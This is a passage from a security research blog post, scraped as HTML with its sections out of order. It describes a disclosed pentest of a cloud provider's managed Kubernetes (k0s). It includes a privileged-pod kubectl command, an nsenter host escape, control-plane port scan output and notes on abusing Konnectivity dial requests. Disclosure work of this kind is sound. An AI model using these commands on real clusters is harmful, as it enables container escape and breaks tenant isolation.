title="isolation-bypass2" width="2048" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121633-2">Konnectivity service account token</p></div> <h3 id="1-2-analysis-of-control-plane-services">1.2. Analysis of control plane services</h3> <p>After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (<code>192.168.0.4</code>) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> 192.168.0.4:9443 open https status=404 192.168.0.4:2380 open 192.168.0.4:6443 open http status=400 192.168.0.4:8132 open 192.168.0.4:9100 open http status=200 title="Node Exporter" 192.168.0.4:9308 open http status=200 title="kube-state-metrics"</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5ab844491837-6">6</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-1"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">9443</span><span class="crayon-h"> </span><span class="crayon-e">open </span><span class="crayon-e">https </span><span class="crayon-v">status</span><span class="crayon-o">=</span><span class="crayon-cn">404</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-2"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">2380</span><span class="crayon-h"> </span><span class="crayon-i">open</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-3"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">6443</span><span class="crayon-h"> </span><span class="crayon-e">open </span><span class="crayon-e">http </span><span class="crayon-v">status</span><span class="crayon-o">=</span><span class="crayon-cn">400</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-4"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">8132</span><span class="crayon-h"> </span><span class="crayon-i">open</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-5"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">9100</span><span class="crayon-h"> </span><span class="crayon-e">open </span><span class="crayon-e">http </span><span class="crayon-v">status</span><span class="crayon-o">=</span><span class="crayon-cn">200</span><span class="crayon-h"> </span><span class="crayon-v">title</span><span class="crayon-o">=</span><span class="crayon-s">"Node Exporter"</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5ab844491837-6"><span class="crayon-cn">192.168.0.4</span><span class="crayon-o">:</span><span class="crayon-cn">9308</span><span class="crayon-h"> </span><span class="crayon-e">open </span><span class="crayon-e">http </span><span class="crayon-v">status</span><span class="crayon-o">=</span><span class="crayon-cn">200</span><span class="crayon-h"> </span><span class="crayon-v">title</span><span class="crayon-o">=</span><span class="crayon-s">"kube-state-metrics"</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.</p> <div class="wp-caption alignnone" id="attachment_121662-2" style="width: 1034px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1.png"><img alt="" aria-describedby="caption-attachment-121662-2" class="size-large wp-image-121662" decoding="async" height="619" sizes="auto, (max-width: 1024px) 100vw, 1024px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-1024x619.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-1024x619.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-300x181.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-768x464.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-330x200.png 330w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-579x350.png 579w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-740x448.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-463x280.png 463w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1-800x484.png 800w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102203/EN_diagramm_An-insecure-neighbor-vulnerability-chain-cloud-infrastructure-1.png 1422w" title="EN_diagramm_An insecure neighbor vulnerability chain cloud infrastructure" width="1024" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121662-2">Interaction diagram between control plane and data plane via Konnectivity</p></div> <h3 id="1-3-exploiting-konnectivity">1.3. Exploiting Konnectivity</h3> <p>To analyze the service on port 8132, we deployed a local test environment. We found that <code>v1.25.16+k0s.0</code> uses a <a href="https://github.com/k0sproject/apiserver-network-proxy" rel="noopener" target="_blank">fork of konnectivty-server</a>, inherited from apiserver-network-proxy in the original Kubernetes.</p> <p>A quick primer on <a href="https://github.com/k0sproject/k0s" rel="noopener" target="_blank">k0s</a>: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.</p> <p>Port 8132, mentioned above, hosts AgentService, which provides a single method: <code>Connect</code>. This method accepts a Packet stream.</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae5b1567070905" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> service AgentService { rpc Connect(stream Packet) returns (stream Packet) {} }</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b1567070905-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b1567070905-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b1567070905-3">3</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b1567070905-1"><span class="crayon-e">service</span><span class="crayon-h"> </span><span class="crayon-e">AgentService</span><span class="crayon-h"> </span><span class="crayon-sy">{</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5b1567070905-2"><span class="crayon-h">  </span><span class="crayon-e">rpc </span><span class="crayon-e">Connect</span><span class="crayon-sy">(</span><span class="crayon-e">stream </span><span class="crayon-v">Packet</span><span class="crayon-sy">)</span><span class="crayon-h"> </span><span class="crayon-e">returns</span><span class="crayon-h"> </span><span class="crayon-sy">(</span><span class="crayon-e">stream </span><span class="crayon-v">Packet</span><span class="crayon-sy">)</span><span class="crayon-h"> </span><span class="crayon-sy">{</span><span class="crayon-sy">}</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b1567070905-3"><span class="crayon-sy">}</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>The code revealed an interesting detail: when AgentService receives a packet of the type <code>DIAL_REQ</code> from a worker node, the server calls the <code>net.Dial()</code> function on the control plane side. The packet structure for the Connect method looks like this:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae5b3118858476" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> //apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b3118858476-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b3118858476-1"><span class="crayon-c">//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0000 seconds] --> <!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> enum PacketType { DIAL_REQ = 0; DIAL_RSP = 1; ... } message Packet { PacketType type = 1; oneof payload { DialRequest dialRequest = 2; DialResponse dialResponse = 3; Data data = 4; CloseRequest closeRequest = 5; CloseResponse closeResponse = 6; CloseDial closeDial = 7; } } message DialRequest { // tcp or udp? string protocol = 1; // node:port string address = 2; // random id for client, maybe should be longer int64 random = 3; }</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-6">6</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-7">7</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-8">8</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-9">9</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-10">10</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-11">11</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-12">12</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-13">13</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-14">14</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-15">15</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-16">16</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-17">17</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-18">18</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-19">19</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-20">20</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-21">21</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-22">22</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-23">23</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-24">24</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-25">25</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-26">26</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae5b5744715049-27">27</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049-1"><span class="crayon-t">enum</span><span class="crayon-h"> </span><span class="crayon-e">PacketType</span><span class="crayon-h"> </span><span class="crayon-sy">{</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049-2"><span class="crayon-h">  </span><span class="crayon-v">DIAL_REQ</span><span class="crayon-h"> </span><span class="crayon-o">=</span><span class="crayon-h"> </span><span class="crayon-cn">0</span><span class="crayon-sy">;</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049-3"><span class="crayon-h">  </span><span class="crayon-v">DIAL_RSP</span><span class="crayon-h"> </span><span class="crayon-o">=</span><span class="crayon-h"> </span><span class="crayon-cn">1</span><span class="crayon-sy">;</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049-4"><span class="crayon-h">  </span><span class="crayon-sy">.</span><span class="crayon-sy">.</span><span class="crayon-sy">.</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae5b5744715049-5"><span class="crayon-sy">}</span></div></div></td></tr></table></div></div></div></div></div></div></div></div> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/27102706/insecure-neighbor-bypass-in-cloud-big_securelist-featured_1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/matveybukhtoyarov/"> <span>Matvey Bukhtoyarov</span></a> </li> <li> <a href="https://securelist.com/author/securityservices/"> <span>Kaspersky Security Services</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <p>This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.</p> <h2 id="introduction">Introduction</h2> <p>Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.</p> <p>This analysis is based on a real-world case that won second place in the System Hacking (Web &amp; Logic) category at <a href="https://award.awillix.ru/#winners" rel="noopener" target="_blank">Russian Pentest Award 2026</a>. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).</p> <h2 id="1-gaining-initial-access-through-a-managed-kubernetes-cluster">1. Gaining initial access through a managed Kubernetes cluster</h2> <p>Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.</p> <h3 id="1-1-escaping-the-worker-node">1.1. Escaping the worker node</h3> <p>First, we created a resource in the cloud’s managed Kubernetes cluster (<code>v1.25.16+k0s.0</code>). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae59e047695410" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> kubectl run pod-name-bla \ --image=alpine \ --restart=Never \ --overrides=' { "apiVersion": "v1", "spec": { "hostPID": true, "containers": [ { "name": "priv", "image": "alpine", "command": [ "sh", "-c", "sleep 3600" ], "stdin": true, "tty": true, "securityContext": { "privileged": true } } ] } }'</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-1">1</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-2">2</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-3">3</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-4">4</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-5">5</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-6">6</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-7">7</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-8">8</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-9">9</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-10">10</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-11">11</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-12">12</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-13">13</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-14">14</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-15">15</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-16">16</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-17">17</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-18">18</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-19">19</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-20">20</div><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-21">21</div><div class="crayon-num crayon-striped-num" data-line="urvanov-syntax-highlighter-6ae430fbae59e047695410-22">22</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-1"><span class="crayon-e">kubectl </span><span class="crayon-e">run </span><span class="crayon-v">pod</span><span class="crayon-o">-</span><span class="crayon-v">name</span><span class="crayon-o">-</span><span class="crayon-i">bla</span><span class="crayon-h"> </span><span class="crayon-sy">\</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-2"><span class="crayon-h">   </span><span class="crayon-o">--</span><span class="crayon-v">image</span><span class="crayon-o">=</span><span class="crayon-i">alpine</span><span class="crayon-h"> </span><span class="crayon-sy">\</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-3"><span class="crayon-h">   </span><span class="crayon-o">--</span><span class="crayon-v">restart</span><span class="crayon-o">=</span><span class="crayon-i">Never</span><span class="crayon-h"> </span><span class="crayon-sy">\</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-4"><span class="crayon-h">   </span><span class="crayon-o">--</span><span class="crayon-v">overrides</span><span class="crayon-o">=</span><span class="crayon-s">'</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-5"><span class="crayon-s"> {</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-6"><span class="crayon-s">   "apiVersion": "v1",</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-7"><span class="crayon-s">   "spec": {</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-8"><span class="crayon-s">     "hostPID": true,</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-9"><span class="crayon-s">     "containers": [</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-10"><span class="crayon-s">       {</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-11"><span class="crayon-s">         "name": "priv",</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-12"><span class="crayon-s">         "image": "alpine",</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-13"><span class="crayon-s">         "command": [ "sh", "-c", "sleep 3600" ],</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-14"><span class="crayon-s">         "stdin": true,</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-15"><span class="crayon-s">         "tty": true,</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-16"><span class="crayon-s">         "securityContext": {</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-17"><span class="crayon-s">           "privileged": true</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-18"><span class="crayon-s">         }</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-19"><span class="crayon-s">       }</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-20"><span class="crayon-s">     ]</span></div><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-21"><span class="crayon-s">   }</span></div><div class="crayon-line crayon-striped-line" id="urvanov-syntax-highlighter-6ae430fbae59e047695410-22"><span class="crayon-s"> }'</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0002 seconds] --> <p>After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430fbae5a9429078871" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> nsenter --target 1 --mount --uts --ipc --net --pid – bash</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr 